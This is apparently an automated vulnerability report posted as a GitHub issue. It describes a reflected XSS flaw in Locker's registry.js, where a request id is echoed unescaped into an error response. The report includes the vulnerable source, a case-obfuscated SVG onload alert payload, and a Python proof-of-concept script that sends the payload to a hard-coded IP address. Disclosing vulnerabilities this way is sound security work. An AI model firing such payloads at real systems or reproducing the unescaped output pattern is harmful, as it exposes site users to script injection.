Skip to content

Reflected XSS Vulnerability #963

@NinjaGPT

Description

@NinjaGPT

Summary

The id parameter from req.params.id is directly concatenated into the error response at line 552 (res.send(id + " failed verification :(", 500)) without any sanitization or encoding. The PoC confirms the XSS payload <SvG oNlOAD=alert("zast-xss")> is reflected verbatim in the response, allowing arbitrary JavaScript execution in a victim's browser.


Details

  • SOURCE
⏺ Source Code Snippet (registry.js - authIsAwesome)

  // source-code/Locker-master/Ops/registry.js#L545-L561
  function authIsAwesome(req, res) {
    var id = req.params.id;
    var js = serviceManager.map(id);
    if (js) return authRedir(js, req, res); // short circuit if already done
    getPackage(id, function(err, pkg) {
      if (err || !verifyPkg(pkg)) {
        logger.error("package verification failed trying to auth " + id + ": ", err);
        return res.send(id + " failed verification :(", 500);
      }
      exports.install(pkg, function(err) {
        if (err) return res.send(err, 500);
        var js = serviceManager.map(id);
        if (!js) return res.send("failed to install :(", 500);
        return authRedir(js, req, res);
      });
    });
  }

  • SINK
  Sink Code Snippet (registry.js - getPackage callback)

  // source-code/Locker-master/Ops/registry.js#L549-L560
    getPackage(id, function(err, pkg) {
      if (err || !verifyPkg(pkg)) {
        logger.error("package verification failed trying to auth " + id + ": ", err);
        return res.send(id + " failed verification :(", 500);
      }
      exports.install(pkg, function(err) {
        if (err) return res.send(err, 500);
        var js = serviceManager.map(id);
        if (!js) return res.send("failed to install :(", 500);
        return authRedir(js, req, res);
      });
    });


POC

  import re
  import requests
  from requests.sessions import Session
  from urllib.parse import urlparse

  def match_api_pattern(pattern, path) -> bool:
      """
      Match an API endpoint pattern with a given path.

      This function supports multiple path parameter syntaxes used by different web frameworks:
      - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
      - Angle brackets: '/users/<int:id>' (Flask with converters)
      - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
      - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

      Note: This function performs structural matching only and doesn't validate param types or regex
  constraints.

      Args:
        pattern (str): The endpoint pattern with parameter placeholders
        path (str): The actual path to match

      Returns:
        bool: True if the path structurally matches the pattern, otherwise False
      """
      pattern = pattern.strip() or '/'
      path = path.strip() or '/'
      if pattern == path:
          return True

      # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
      # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
      pattern = re.sub(r'\{[\w:()[\].\-\\+*]+}', r'[^/]+', pattern)
      # Support for <param> and <type:param> syntax (Flask with converters)
      pattern = re.sub(r'<[\w:()[\].\-\\+*]+>', r'[^/]+', pattern)
      # Support for :param syntax (Express, Koa, Sinatra)
      pattern = re.sub(r':[\w:()[\].\-\\+*]+', r'[^/]+', pattern)
      # Add start and end anchors to ensure full match
      pattern = f'^{pattern}$'

      match = re.match(pattern, path)
      if match:
          return True
      return False

  class CustomSession(Session):
      def request(
          self,
          method,
          url,
          params = None,
          data = None,
          headers = None,
          cookies = None,
          files = None,
          auth = None,
          timeout = None,
          allow_redirects = True,
          proxies = None,
          hooks = None,
          stream = None,
          verify = None,
          cert = None,
          json = None,
      ):

          if match_api_pattern('/auth/v3dm0s', urlparse(url).path):
              headers = headers or {}
              headers.update({'User-Agent': 'oxpecker'})
              timeout = 30
          else:
              headers = headers or {}
              headers.update({'User-Agent': 'oxpecker'})
              timeout = 30
          return super().request(
              method=method,
              url=url,
              params=params,
              data=data,
              headers=headers,
              cookies=cookies,
              files=files,
              auth=auth,
              timeout=timeout,
              allow_redirects=allow_redirects,
              proxies=proxies,
              hooks=hooks,
              stream=stream,
              verify=verify,
              cert=cert,
              json=json,
          )

  requests.Session = CustomSession
  requests.sessions.Session = CustomSession

  # ********************************* Poc Start **********************************
  import requests

  # Define the target URL
  target_url = "http://34.127.19.15:41341/auth/:id"

  # Define the payload with the marker
  payload = '<SvG oNlOAD=alert("zast-xss")>'

  # Replace the placeholder with the actual payload
  url = target_url.replace(":id", payload)

  # Send the GET request
  response = requests.get(url, verify=False, allow_redirects=False)

  # Print the response status code and text
  print(response.status_code)
  print(response.text)
  # ********************************** Poc End ***********************************

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions